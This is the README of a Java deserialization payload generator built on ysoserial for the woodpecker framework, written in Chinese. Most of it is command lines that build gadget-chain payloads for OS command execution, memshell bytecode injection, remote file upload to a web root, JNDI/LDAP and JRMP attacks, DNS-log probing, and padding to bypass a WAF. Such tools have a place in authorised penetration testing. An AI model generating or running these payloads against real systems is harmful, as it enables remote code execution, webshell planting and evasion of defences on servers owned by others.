ysoserial-for-woodpecker
Introduction: 给 woodpecker 框架量身定制的 ysoserial
Tags:
0x01 简介
ysoserial-for-woodpecker
是基于 ysoserial ,为 woodpecker 框架定制开发的 JDK 反序列化 gadget 集成库。
0x02 编译
Requires Java 1.7+ and Maven 3.x+
mvn clean package -DskipTests
0x03 简单使用
usage: ysoserial-for-woodpecker-<version>.jar [-a <arg>] [-c] [-ddl <arg>]
[-g <arg>] [-l]
-a,--args <arg> gadget parameters
-c,--compress Zip the Templates gadgets
-ddl,--dirt-data-length <arg> Add the length of dirty data, used to
bypass WAF
-g,--gadget <arg> java deserialization gadget
-l,--list List all gadgets
3.1 延时探测
java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsBeanutils1 -a "sleep:10"
3.2 dns 探测
java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsBeanutils1 -a "dnslog:xxx.dnslog.cn"
3.3 DNS 探测 class
可用于探测
java -jar ysoserial-for-woodpecker-<version>.jar -g FindClassByDNS -a "http://string.dnslog.cn|java.lang.String"
3.4 延时探测 class
注意设置深度,经过实战深度一般在 25-28 之间,太大会导致 dos。
java -jar ysoserial-for-woodpecker-<version>.jar -g FindClassByBomb -a "java.lang.String|28"
3.5 执行命令
java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsBeanutils1 -a "raw_cmd:calc.exe"
3.6 执行自定义字节码
java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsBeanutils1 -a "class_file:/tmp/memshell.class"
3.7 上传文件
java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsBeanutils1 -a "upload_file:/tmp/local_file.txt|/var/www/remote_file.txt"
3.8 执行 js
java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsBeanutils1 -a "script_file:/tmp/sleep.js"
3.9 JRMP
java -cp ysoserial-for-woodpecker-<version>.jar me.gv7.woodpecker.yso.exploit.JRMPListener 1234 CommonsCollections6Lite "raw_cmd:calc.exe"
3.10 JNDI
java -jar ysoserial-for-woodpecker-<version>.jar -g Spring3 -a "jndi:ldap://127.0.0.1:1089/obj"
3.11 Bypass waf
加入 40w 脏数据绕 WAF
java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsCollections6 -a "raw_cmd:calc" --dirt-data-length 400000
更多功能移步0x04 更多功能命令
0x04 更多功能命令
- [ ] sleep 生成延时 payload
- [ ] dnslog 生成 dnslog payload
- [ ] httplog 生成 httplog payload
- [ ] upload_file 上传文件,通过文件名
- [ ] upload_file_base64 上传文件,通过文件 base64 内容
- [ ] raw_cmd 原生的命令执行
- [ ] win_cmd 在 windows 下执行命令
- [ ] linux_cmd 在 linux 下执行命令
- [ ] auto_cmd 自动判断操作系统执行命令
- [ ] class_file 注入 class 文件,执行 class 代码
- [ ] class_base64 注入 class base64 编码内容,执行 class 代码
- [ ] code_file 注入要执行的代码
- [ ] code_base64 注入要执行代码的 base64 编码
- [ ] bcel 注入 bcel 字符串,实现代码执行
- [ ] bcel_class_file 通过文件注入
- [ ] bcel_with_args 注入 bcel 字符串和参数,实现代码执行
- [ ] bcel_class_file_with_args 通过文件注入和参数,实现代码执行
- [ ] script_file 通过 js 引擎执行代码
- [ ] script_base64 通过 js 引擎执行代码
- [ ] loadjar 调用 jar 中类的无参构造器
- [ ] loadjar_with_args 调用 jar 中类的参数为一个 String 的构造器
- [ ] jndi jndi 注入